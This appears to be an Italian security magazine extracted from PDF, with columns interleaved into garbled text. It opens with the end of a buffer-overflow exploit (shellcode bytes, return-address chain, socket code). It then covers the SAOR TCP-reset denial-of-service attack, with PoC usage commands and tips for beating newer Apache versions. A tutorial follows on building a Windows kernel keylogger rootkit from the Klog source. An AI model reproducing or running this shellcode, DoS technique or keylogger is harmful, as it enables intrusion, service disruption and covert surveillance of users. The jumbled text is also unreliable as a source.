"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32"
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56"
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"
"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"
"\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"
// 152 byte di A
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA"
// 6 istruzioni RET
"\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
// strcpy() PLT
"\x18\x85\x04\x08"
// 1 istruzione RET
"\xdd\x88\x04\x08"
// library address
"\x55\xd0\x4b\x00";
if (argc != 2)
{
printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]);
exit(EXIT_FAILURE);
}
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(60000);
xab.sin_addr.s_addr = inet_addr(argv[1]);
37
look at CROSS PLATFORM SAOR: Attacco al TCP
C
inque anni fa veniva pubblicato nella mailing
list sikurezza.org[1] un messaggio che del servizio colpito, mentre in altri casi può addirittura
descriveva una tecnica di offesa denominata causarne il crash. Questo rende SAOR una valida
dal suo stesso autore SAOR, acronimo di States alternativa ai tradizionali attacchi di massa DDoS
Attack Over RST. A dispetto del poco basati sulla saturazione della banda a disposizione
interessamento mostrato dalla comunità nei confronti dell'host vittima, in quanto l'azione offensiva può
del post (tanto che questa tipologia di attacco può essere condotta in modo preciso su uno specifico
essere considerata ancora oggi inedita al grande servizio, sprecando meno risorse hardware e/o di
pubblico che orbita attorno al panorama rete e risultando quindi in un minore rischio di
internazionale della sicurezza informatica) SAOR individuazione. Se c'è un motivo per il quale
rimane a distanza di così tanto tempo una tecnica che probabilmente questa tecnica non è stata
può rappresentare una minaccia reale di vasta vastamente impiegata fra le botnet di PC zombie,
portata. Riconducibile alla categoria dei DoS/DDoS, questo è da ricercare nelle modalità di pubblicazione
SAOR non è un attacco basato sulla saturazione del post originariamente apparso nel 2002 nella
della banda di rete quanto sull'utilizzo sovversivo del mailing list sikurezza.org, ovvero esclusivamente in
bit di controllo RST dei pacchetti TCP. Il fine è quello lingua italiana e mai tradotto né divulgato in altre
di generare connessioni disallineate, ovvero attive forme o attraverso fonti alternative.
nella tabella dei collegamenti del server ma
contemporaneamente inesistenti presso quella del
client. L'impiego del flag RST non è nuovo a scenari di
offesa perpetrati tramite Internet. Uno studio[2]
rilasciato dal ricercatore Paul Watson nel 2004
descriveva ad esempio come attraverso lo spoofing,
il bit di controllo RST potesse essere utilizzato per
[1] http://www.sikurezza.org/ml/06_02/msg00172.html
distruggere le connessioni intercorse fra due host
senza conoscere preventivamente i numeri di [2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc
CLIENT SERVER
CLOSED LISTEN
SYN (100)
SYN_SENT
SYN (300) ACK(101)
SYN_RCV
ACK (301)
ESTABLISHED
ESTABLISHED
38
look at CROSS PLATFORM SAOR: Attacco al TCP
32 bits
Data (optional)
39
look at CROSS PLATFORM SAOR: Attacco al TCP
CLIENT SERVER
CLOSED LISTEN
SYN (100)
SYN_SENT
SYN (300) ACK(101)
SYN_RCV
ACK (301)
ESTABLISHED
ESTABLISHED
RST (301)
40
look at CROSS PLATFORM SAOR: Attacco al TCP
Legenda
S = SYN
. = nessun dato solo ACK
R = RST
Case Study: Apache 1.3.x e 2.0.x Ciò significa che nessuna nuova richiesta può essere
servita da Apache per i successivi 5 minuti
Tra i servizi che maggiormente si prestano ad un dall'attacco. Il DoS può essere ripetuto all'infinito in
attacco di tipo SAOR vi è HTTP ed in particolare quanto anche disponendo di modeste capacità di
l'implementazione offerta dal Web Server Apache (per banda e di un unico sistema dal quale condurre
il momento prenderemo in esame solo le versioni del l'azione malevola, è possibile allocare in poco tempo
branch 1.3.x e 2.0.x). Sono due le impostazioni che lo molte più connessioni fantasma di quante il server
rendono particolarmente soggetto a questa riesca a chiuderne.
problematica:
Un metodo semplice per misurare il Timeout di un web
§Timeout: indica dopo quanti secondi ciascuna server Apache 1.3 o 2.0 è quello di eseguire il
connessione HTTP deve essere terminata; comando:
§Maxclients: indica quante connessioni
contemporanee il web server può gestire; # date; telnet www.nomesito.xx 80; date
Di default, partendo da un'installazione praticata e calcolare la differenza tra i due orari stampati a video
attraverso i sorgenti[5], entrambi le opzioni sono così prima e dopo il termine di esecuzione del telnet.
configurate in httpd.conf:
Ma osserviamo più da vicino un esempio pratico degli
Timeout 300 effetti causati da un attacco di tipo SAOR. Per farlo ci
MaxClients 150 avvarremo di un Proof Of Concept che la redazione di
Security System desidera mettere a disposizione dei
suoi lettori[6].
L'effetto prodotto quando la coda di Apache raggiunge
il limite massimo (MaxClients) di connessioni gestibili
è che il servizio smette di elaborare ogni altra richiesta
aggiuntiva proveniente dai client. In condizioni di [5] http://httpd.apache.org
default quindi un SAOR Attack permette di allocare in
[6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC
pochissimo tempo 150 o più connessioni, ciascuna
può essere compilato su Linux ma i suoi effetti si estendono
delle quali rimane appesa nello stato ESTABLISHED anche a servizi ospitati in altre piattaforme (come Windows ad
per 300 secondi prima di essere terminata dal server. esempio).
41
look at CROSS PLATFORM SAOR: Attacco al TCP
Il codice è inedito e non è mai stato pubblicato in rete, Dall'output si evince che nel server è in atto un
pertanto può essere considerato a tutti gli effetti uno collegamento proveniente da ip_client dalla porta
0day (forse non più a partire da oggi ). Fare riferimento 51979 verso il servizio web locale (porta 80). Questa
al file README all'interno del package prelevabile dal connessione però lato client non esisterà. Ciò significa
sito www.segfault.it per determinare come compilare che il server ha una connessione allocata nello stato
l'applicazione e risolvere le dipendenze necessarie ESTABLISHED che di fatto non esiste. La procedura
(step che non copriremo in questo articolo). Il sorgente qui riprodotta, reiterata svariate volte, permette in
si compone di due parti (SAOR-listen e SAOR- parole povere di allocare presso il server centinaia o
connect). La prima è la componente server. Si migliaia di connessioni fantasma rispetto ad un
occupa essenzialmente di osservare i pacchetti che dispendio di risorse client side praticamente nullo. Ad
fluiscono in rete e determinare se e quando resettare esempio lanciando opportunamente la componente
con il metodo SAOR una connessione. La seconda è SAOR-connect, in poco tempo ip_server sulla porta 80
invece la componente client che si occupa di avviare non sarà più raggiungibile. Quanto più il timeout del
ripetutamente il three way handshake presso la servizio sarà elevato, tanto più l'attacco avrà efficacia.
destinazione ed il servizio vittima (una semplice
connect() ripetuta dentro un ciclo infinito). Un ulteriore aspetto interessante degno di nota è che
l'attacco non produce alcuna indicazione nei file di log
Per lanciare la parte server aprite una finestra di shell e del servizio che permetta all'amministratore di risalire a
digitate: chi lo ha condotto. Raggiunto il limite Maxclients nel
file degli errori del webserver (di default error_log)
# ./SAOR-listen "host ip_server and port 80" l'unico messaggio visibile sarà:
eth0
[Sun Apr 01 17:51:22 2007] [error] server
Gli argomenti specificati indicano a SAOR-listen di reached MaxClients setting, consider raising
resettare tutte le connessioni relative al socket the MaxClients setting
ip_server:80 passanti per l'interfaccia eth0. Facciamo
adesso un test manuale. Lanciamo da locale (ovvero Niente indirizzi IP quindi neanche in access_log in
da dove è stato avviato SAOR-listen) un telnet verso quanto il semplice three way handshake non è
ip_server: sufficiente per generare una entry nei log di Apache se
a seguire non vi è una esplicita richiesta HTTP.
# telnet ip_server 80
Trying ip_server...
Case Study: Apache 2.2.x
Connected to ip_server
Escape character is '^]'.
Connection closed by foreign host. Gli ultimi rilasci stabili del branch 2.2 di Apache
appaiono essere più coriacei rispetto alle edizioni 1.3.x
La prima cosa da notare è che quasi immediatamente e 2.0.x del web server di fronte ad un SAOR Attack. A
la connessione viene chiusa (segno che la partire da questo release infatti il servizio non
componente SAOR-listen sta svolgendo considera stabilito un collegamento fino a quando il
adeguatamente il suo lavoro). Adesso spostiamoci client non invia almeno un byte di dati al server.
momentaneamente sul server e diamo un breve Osserviamo più da vicino cosa succede dopo che il
sguardo alla sua tabella delle connessioni: three way handshake viene portato a termine su
Apache 2.2:
# netstat -an
[...]
ip_server:80 ip_client:51979 ESTABLISHED
42
look at CROSS PLATFORM SAOR: Attacco al TCP
16:05:41.088095 server.80 > client.52346: S handshake, all'arrivo del primo SYN chi attacca
2119450554 ack 256910396 vedrebbe infatti il kernel della propria macchina
16:05:41.088124 client.52346 > server.80: . rispondere con un pacchetto RST, il che farebbe capire
ack 2119450555
al server che la connessione presso il client non esiste,
connessione che a sua volta verrebbe chiusa lato
16:05:47.137328 server.80 > client.52346: S
Apache.
2119450554 ack 256910396
16:05:47.137358 client.52346 > server.80: .
ack 2119450555 Questo non significa però che il branch 2.2 del web
server è immune da attacchi SAOR. Il problema può
16:06:23.186346 server.80 > client.52346: S infatti essere facilmente bypassato inviando, al
2119450554 ack 256910396 completamento del three way handshake, un solo byte
16:06:23.186376 client.52346 > server.80: . di dati e resettando subito dopo la connessione lato
ack 2119450555 client.
[…]
Le modifiche necessarie per rendere utilizzabile anche
Si può notare come il server invii ad intervalli regolari con Apache 2.2.x il codice segnalato nella nota 6 sono
crescenti un pacchetto TCP con flag SYN a cui il client minime (solo un paio di step in più). Lasciamo
risponde ogni volta con un ACK. Un normale attacco comunque al lettore il compito di adattarlo a
SAOR non potrebbe funzionare in questo caso. Se la piacimento!
connessione viene resettata appena dopo il three way
Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre
ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande
quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto
dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di
offesa:
7,14%
Apache 1,3,x
(27.257)
Apache 2.0x
(16081)
34,46% 58,40%
Apache 2.2.x
(3332)
43
look at CROSS PLATFORM SAOR: Attacco al TCP
Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server
Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene
più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web
server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente
esposti ad un attacco SAOR :
5 minuti
14,28%
tra 1 e 3 minuti
47,60%
38,12% meno di 60
secondi
Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico
sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache.
E gli altri servizi? servizi (nello specifico SMTP, SSH, FTP e POP3)
abbiamo deciso di testare il loro grado di resistenza ad
HTTP è un servizio che si presta maggiormente ad un attacco di tipo SAOR. Ciò che ne è scaturito sono i
attacchi di tipo SAOR ma non è l'unico esposto a tale risultati delle Tabelle 2 e 3.
minaccia. Quando si parla di questa tecnica dobbiamo
infatti distinguere tra due categorie differenti di Pur non riportato in entrambe queste tabelle, è
servizi/protocolli: quelli che al termine del three way significativo come dai nostri test siamo riusciti a
handshake attendono la richiesta dell'utente e quelli bloccare con successo il servizio di desktop remoto di
che immediatamente dopo inviano al client un banner Windows 2000 ma non quello di Windows Server
identificativo o uno stream di byte service dependent[7]. 2003 (che impone una restrizione sul numero delle
Appartengono ad esempio alla prima categoria oltre ad connessioni fatte da uno specifico indirizzo IP,
HTTP anche RDP (il protocollo che rende possibili le restrizioni non presenti invece nella versione
sessioni di desktop remoto su Windows) ed SMB (il precedente del sistema operativo). Nel caso del
protocollo per le condivisioni di file e stampanti che servizio CIFS (porte 139/445) siamo invece riusciti a
rappresenta una delle parti più importanti che replicare un DoS precludendo la fase di autenticazione
compongono il servizio CIFS) mentre per la seconda remota e di scambio di file su Windows 2000 SP4 e
categoria (indubbiamente più numerosa) si possono Windows XP SP2 (Windows Server 2003 non è stato
menzionare FTP, SMTP, POP3, IMAP, RFB (il testato in questo caso).
protocollo utilizzato dal VNC e dai sistemi derivati),
SSH, etc… [7] Per intenderci il codice dimostrativo indicato nella nota 6
funziona solo contro la prima categoria di servizi. Lasciamo al
lettore il compito di adattarlo in modo che possa funzionare anche
Prendendo come riferimento alcuni fra questi ultimi con i servizi appartenenti alla seconda categoria.
44
look at CROSS PLATFORM SAOR: Attacco al TCP
Fra le implementazioni SMTP, Exim è invece risultato Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il
in ogni implementazione testata non vulnerabile. web server presente di default in alcune edizioni di
Stesso discorso per Courier nella categoria dei servizi Microsoft Windows) non sono risultare vulnerabili ad
POP3. un attacco di tipo SAOR.
TABELLA 2
TABELLA 3
Conclusione
Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti
che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena
spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati
immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle
connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il
servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da
un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno
scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di
collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema?
Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a redazione@segfault.it. Potreste essere
coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System.
45
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
D
a almeno 11 anni a questa parte[1] uno degli essere gestito da più di un driver, cioè i driver in
strumenti immancabili nella “valigia virtuale” di Windows sono organizzati secondo un modello a
ogni smanettone è il rootkit. Sviluppato con lo strati: ognuno ha il suo ruolo ed entra in gioco in un
scopo di sniffare il traffico di rete, intercettare i tasti momento specifico. Ad esempio la componente che
digitati dagli utenti o sovvertire le normali operazioni del comunica direttamente con l'hardware viene definita
sistema agendo da backdoor (ovvero con l'obiettivo bus driver (diminutivo PDO), mentre quella che
principale di assicurarsi un accesso invisibile e implementa le funzionalità principali viene denominata
reiterato nel tempo) i primi componenti di questo tipo function driver (o utilizzando un diminutivo, FDO).
operavano in user land, andando a sostituire i comuni
file di sistema. L'approccio però si rivelò ben presto
inefficace con l'avvento di tool come Tripwire[2], capaci
di fotografare lo stato del filesystem in un dato
momento e compararlo con uno snapshot successivo
per identificare le applicazioni modificate o gli elementi
estranei aggiunti. L'interesse degli smanettoni
cominciò quindi a spostarsi verso il lato kernel. I [1] Quando l'autore dell'articolo ha iniziato ad interessarsi di
sicurezza informatica nel 1997, era molto praticato al tempo
vantaggi di eseguire il proprio codice a ring 0[3] erano in
l'hacking delle shell finalizzato all'installazione di IRC BNCBot o
passato (e sono ancora oggi nel presente) notevoli. PSYBot, tutte componenti che si cercava di nascondere agli occhi
Anzitutto si ha la possibilità di disporre sempre di indiscreti dell'admin, inizialmente con metodi rudimentali (ad
privilegi superiori a qualsiasi altra applicazione esempio rinominando il file di sistema originale ed al suo posto
eseguita in user land (anche lanciata con permessi utilizzando uno script bash che richiamava l'applicazione regolare e
filtrava l'output prima che venisse visualizzato dall'amministratore
amministrativi), inoltre ci si trova ad operare allo stesso
della macchina), poi via via con delle applicazioni compilate che
livello di tutte le altri componenti kernel, incluse quelle venivano organizzate in veri e propri package, fino a giungere alla
installate dalle comuni applicazioni antivirus ed creazione di moduli kernel.
antispyware, permettendo all'intruso di “guerreggiare”
[2] Di fatto questo genere di strumenti sono in grado di calcolare
ad armi pari con esse. In aggiunta una componente che
l'impronta digitale di ogni file presente nel filesystem con algoritmi di
gira in kernel land non è identificata da un processo in hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi
esecuzione in memoria visionabile ad esempio con il accessi e delle ultime modifiche.
Task Manager o con strumenti simili, quindi è meno
facilmente rintracciabile. [3] Nell'architettura x86 (ma si tratta di un aspetto più o meno
comune a molte altre piattaforme hardware) il processore fornisce
un meccanismo elementare di divisione dei privilegi attraverso i
Rootkit per Windows ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le
applicazioni utente a ring 3 (inclusi i programmi lanciati
dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring
Allo stesso modo di Linux e più in generale di Unix, i
in mezzo vengono raramente e comunque quasi mai direttamente
primi rootkit apparsi su Windows operavano utilizzati dal sistema operativo. Il passaggio da un ring meno
principalmente in user land. In questo caso alcune privilegiato ad uno di livello superiore avviene attraverso un call
tecniche di hooking erano addirittura note fin dal gate o nei moderni processori tramite l'istruzione sysenter.
1994[4][5]. Dal 2004 ad oggi però il numero dei kernel
rootkit è cresciuto in modo impressionante fino a [4] “Load Your 32-bit DLL into Another Process's Address Space
Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May
giungere ai livelli odierni di totale predominanza. Su
1994).
Windows a girare a ring 0 sono i driver. Non a caso un
kernel rootkit per Windows è essenzialmente un driver [5] Funzioni come SetWindowsHookEx() e
che opera come filtro sulle richieste passanti. Al GetAsyncKeyState()(esportate dalla libreria User32.dll)
contrario però di molti altri sistemi operativi, ogni device possono essere utilizzate fin da Windows 95 ed NT 3.1 per
progettare componenti malware come keylogger.
(ovvero dispositivo fisico) in ambiente Microsoft può
46
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
Esiste però una terza categoria di driver che è meno Quali strumenti sono necessari per iniziare a creare
nota ma indubbiamente più interessante dal punto di un rootkit?
vista della sicurezza, il Filter Driver. Il Windows Driver Kit (in passato Driver
Development Kit) è un package rilasciato
gratuitamente da Microsoft che contiene tutti gli
Gerarchicamente parlando, per ciascun dispositivo
strumenti e la documentazione utili per la creazione di
fisico del sistema, il PDO è l'elemento collocato più in
un ambiente di sviluppo e test di driver per Windows.
basso, seguito dall'FDO e quindi dagli eventuali Filter Per prelevare il kit nel momento in cui si scrive è
Driver[6]. Quando si verifica un evento o una richiesta di necessario loggarsi (o preventivamente registrarsi) con
interazione con l'hardware in questione, questo u n a c c o u n t p a s s p o r t a l s i t o
evento/richiesta viene prima visto dalla componente http://connect.microsoft.com/.
filtro, quindi dall'FDO e poi dal bus driver (il PDO),
ovvero l'elemento più astrattamente vicino First Steps
all'hardware. Una volta soddisfatta, la richiesta/evento
fa il percorso inverso (PDO->FDO->FIlter Driver). Come già detto un filter driver opera mediante un hook.
Questo “aggancio” avviene in modo trasparente,
Se quindi lo scopo legittimo di un filter driver è quello di ovvero i driver di livello inferiore non sono allertati della
“agganciarsi” allo stack delle componenti kernel che presenza del filtro che può così agire in totale libertà per
gestiscono un dispositivo hardware filtrando le nascondere/modificare dati o semplicemente per
interazioni in ingresso/uscita (ad esempio per intercettarli in modo silenzioso. Tali dati vengono
implementare una nuova funzionalità o risolvere un scambiati per mezzo degli IRP (I/O Request Packet),
bug nel function driver senza dover necessariamente una struttura allocata dall'I/O Manager di Windows[8]
modificare il codice), allo stesso tempo gli usi ai fini proprio per consentire la comunicazione tra i vari
sovversivi di questa tecnologia sono altrettanto device driver. La prima funzione invocata quando un
evidenti. Con poco sforzo diviene infatti possibile driver viene caricato in memoria è DriverEntry (un po'
creare componenti come keylogger e sniffer, come l'entry point di una comune applicazione in C è il
attaccandosi ai device driver che gestiscono tastiera e corpo main ed in una DLL la funzione DllMain) :
scheda di rete. Uno dei modi migliori per cominciare ad
DriverEntry(
addentrarsi in questo mondo parecchio vasto ed in
IN PDRIVER_OBJECT pDriverObject,
continua evoluzione è quindi quello di osservare da
IN PUNICODE_STRING RegistryPath )
vicino come è fatto un kernel rootkit. Per lo scopo di
quest'oggi analizzeremo il sorgente di esempio Klog[7],
un keylogger lato kernel scritto da Clandestinity,
divenuto molto celebre e diffuso in rete. Per ragioni di
spazio naturalmente nel presente articolo diversi
aspetti verranno tralasciati (ad esempio il significato di
[6] Non sempre questo è vero. I filter driver si distinguono infatti in
alcuni parametri passati a certe funzioni). Questi low ed upper filter. Quelli appartenenti alla prima categoria
possono comunque essere meglio compresi risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia
analizzando la documentazione WDK di Microsoft sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai
casi più interessanti perché sono in grado di intercettare i dati
Windows (riferirsi al box accanto per ulteriori
passanti ancora prima del driver vero e proprio (ovvero del function
informazioni). Il codice è comunque ottimamente driver).
commentato e tradotto in lingua italiana per i lettori di
[7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz
Security System. Per una maggiore usufruibilità
dell'articolo consigliamo quindi di stamparlo e seguirlo [8] Componente di Windows che si occupa di veicolare le richieste
passo passo. di Input/Output allo strato kernel e permette il
caricamento/scaricamento dinamico dei driver.
47
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
Uno dei primi compiti che viene svolto all'interno di keyboard filter driver questo interesse è interamente
DriverEntry è quello di popolare l'IRP dispatch volto ad intercettare le richieste di lettura
table, un'array in cui vengono definiti dei puntatori a (IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti
delle funzioni che gestiscono opportunamente le dall'utente):
richieste pervenute al driver. Poiché il mancato
recapito di tali richieste dal filtro ai driver di livello for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION;
inferiore precluderebbe certamente la corretta i++)
interazione dell'utente con il dispositivo associato, i pDriverObject->MajorFunction[i] =
filter driver devono supportare tutti gli IRP Request DispatchPassDown;
Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e
device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo.
48
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->
NTSTATUS status = IoCreateDevice( DeviceExtension;
pDriverObject,
sizeof(DEVICE_EXTENSION),
Si tratta di un struttura custom che i kernel developer
NULL, //no name
utilizzano per memorizzare informazioni di vario genere
FILE_DEVICE_KEYBOARD,
utili al corretto espletamento delle attività del driver. Nel
0,
true,
caso di Klog questa struttura è definita nel file header
&pKeyboardDeviceObject “Klog.h” ed il suo contenuto sarà più evidente in
); seguito. A questo punto si può finalmente precedere
all'hooking del Driver Device Object interessato.
Gli argomenti degni di nota della funzione L'aggancio viene eseguito, a partire dal nome
IoCreateDevice sono il secondo che rappresenta la identificativo dell'oggetto in questione, con la funzione
dimensione di DEVICE_EXTENSION (una struttura che IoAttachDevice. Ma a cosa agganciarci esattamente?
verrà inizializzata successivamente e che conterrà dei Esistono diversi punti di inserzione candidati per questo
campi driver-specific) ed il terzo che rappresenta scopo. Klog si aggancia tuttavia al Device Object
invece il nome assegnato al Device Object. In questo “\\Device\\KeyboardClass0“ gestito dal driver
caso l'oggetto sarà senza nome in quanto le kbdclass.sys. Si tratta di un Class Driver, ovvero un
applicazioni User Land non avranno necessità di tipo di device driver che gestisce degli hardware che
interagire direttamente con esso[10]. Il quarto ed il possono essere genericamente correlati ad una classe
settimo argomento indicano rispettivamente il tipo di ben definita di dispositivi o che hanno delle “funzioni” in
Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo comune:
che punta alla variabile pKeyboardDeviceObject che IoAttachDevice(
riceverà il puntatore all'oggetto creato. Il primo pKeyboardDeviceObject,
argomento è invece il puntatore al DriverObject &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice
ottenuto come primo parametro della funzione
);
DriverEntry.
Per effettuare l'hooking vero e proprio sono necessari [10] Un nome ad un Device Object viene solitamente assegnato
altri due step. Anzitutto il Device Object appena creato quando l'oggetto in questione deve comunicare con una o più
deve emulare gli stessi flag del driver sottostante. Uno applicazioni lato utente, ricevendo da esse delle direttive ben
precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che
strumento come Device Tree[11] può essere utilizzato
implementa delle funzionalità di firewalling, l'applicazione user land
per determinare tali flag: che consente all'utente di configurare le regole deve poter
pKeyboardDeviceObject->Flags = comunicare in qualche modo con il relativo Device Object per
pKeyboardDeviceObject->Flags | aggiungerle o rimuoverle dinamicamente.
(DO_BUFFERED_IO |
DO_POWER_PAGABLE [11] Le dipendenze e l'organizzazione stratificata dei device driver
); nel proprio sistema possono essere osservate con uno strumento
come DeviceTree disponibile previa registrazione dal sito
Dopo si deve inizializzare il Device Extension
http://www.osronline.com
49
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
Il primo parametro alla funziona indica il Device Object Il primo parametro passato a PsCreateSystemThread
creato in precedenza con IoCreateDevice. Il secondo è un handle dichiarato poco prima nel codice (HANDLE
è invece l'indirizzo alla stringa che contiene il nome hThread;) mentre il sesto corrisponde all'entry point
dell'oggetto che si sta hookando del thread che nel nostro caso verrà creato a partire dal
(\\Device\\KeyboardClass0) debitamente convertita codice presente nella funzione (ThreadKeyLogger).
in Unicode (tale conversione avviene un attimo prima L'ultimo argomento è il puntatore al Device Extention.
nel codice). IoAttachDevice ritorna anche un Come vedremo in seguito il thread utilizzerà alcuni dei
puntatore al Device Object appena agganciato. Questo campi contenuti in questa struttura per sincronizzarsi
viene memorizzato nel campo pKeyboardDevice della con la Completation Routine man mano che questa
struttura Device Extension per permettere al filtro di intercetterà gli scancode presenti negli IRP e per
passare correttamente gli IRP che riceverà al driver loggare su file i tasti convertiti. All'interno di
sottostante. ThreadKeyLogger, il flusso di esecuzione del thread si
blocca alla chiamata KeWaitForSingleObject in
Il Worker Thread attesa che gli scancode contenuti negli IRP che
“risalgono” dalla catena siano disponibili nella coda.
Adesso che l'hooking è completato in teoria siamo Questa coda viene creata in DriverEntry subito dopo
pronti ad intercettare e loggare i dati in arrivo. La parola il ritorno della funzione InitThreadKeyLogger con le
“teoria” non assume qui un significato casuale. Infatti chiamate a InitializeListHead,
mentre per espletare il primo task non sono richieste KeInitializeSpinLock e KeInitializeSemaphore:
particolari accortezze, il logging è un'operazione più
difficile da espletare in un driver poiché le operazioni di Il file di log
input/output sui file possono avvenire solamente ad un
livello denominato IRQL_PASSIVE_LEVEL, mentre la All'interno del blocco principale DriverEntry viene
Completation Routine (si veda il box a pagina 48) può quindi creato con la funzione ZwCreateFile il file in cui
essere richiamata solamente al livello
verranno loggati i tasti premuti:
DISPATCH_LEVEL, che è caratterizzato dalla
presenza di alcune limitazioni tra le quali appunto le ZwCreateFile(
operazioni di I/O sui file. Per bypassare questo &pKeyboardDeviceExtension->hLogFile,
problema, Klog subito dopo l'hooking, crea un thread GENERIC_WRITE,
che sarà responsabile di loggare i tasti premuti. La sua &obj_attrib,
inizializzazione avviene nella funzione &file_status,
“InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il NULL,
punto più importante qui è proprio relativo alla FILE_ATTRIBUTE_NORMAL,
0,
creazione del thread con PsCreateSystemThread:
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
PsCreateSystemThread(
NULL,
&hThread,
0
(ACCESS_MASK)0,
);
NULL,
(HANDLE)0,
NULL, La funzione ZwCreateFile prende una serie di
ThreadKeyLogger, argomenti tra i quali i permessi di accesso al file,
pKeyboardDeviceExtension l'indirizzo della variabile in cui verrà memorizzato il suo
); descrittore (il campo hLogFile nella struttura Device
Extension) e gli attributi che descrivono l'oggetto
50
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
(obj_attrib). Tra questi attribuiti vi è anche la stringa pervenuta. Ma cosa è esattamente uno Stack
che specifica il nome del file, convertita in formato Location? Seppure ciascun IRP sia un'unica grande
Unicode e dichiarata poco prima nel codice come: struttura allocata in memoria, la sua dimensione varia in
base al numero di driver presenti nella catena. In parole
CCHAR ntNameFile[64] = povere per ogni driver presente nella catena, l'I/O
"\\DosDevices\\c:\\klog.txt"; Manager aggiunge uno spazio extra nell'IRP
denominato appunto IO_STACK_LOCATION in cui
Come già detto in precedenza il file di log una volta vengono collocati i parametri specifici della richiesta
creato potrà essere scritto solamente da un thread ricevuta. A questo punto l'IRP viene instradato verso il
caricante a livello IRQL_PASSIVE_LEVEL (il worker driver di livello inferiore con la funzione IoCallDriver.
thread creato nel paragrafo prima). A questo punto il Il primo parametro di questa funzione è proprio
blocco DriverEntry termina dopo aver popolato il l'indirizzo in cui si trova il device object del driver più in
campo DriverUnload del puntatore al driver object: basso (memorizzato nella variabile puntatore
pKeyboardDevice del Device Extension al momento
pDriverObject->DriverUnload = Unload;
dell'hook) mentre il secondo è il puntatore all'intera
struttura IRP(pIrp):
La funzione Unload viene invocata quando il driver
viene rimosso dalla memoria. Il suo scopo è quello di IoCallDriver(
liberare tutte le risorse allocate durante la sua ((PDEVICE_EXTENSION)
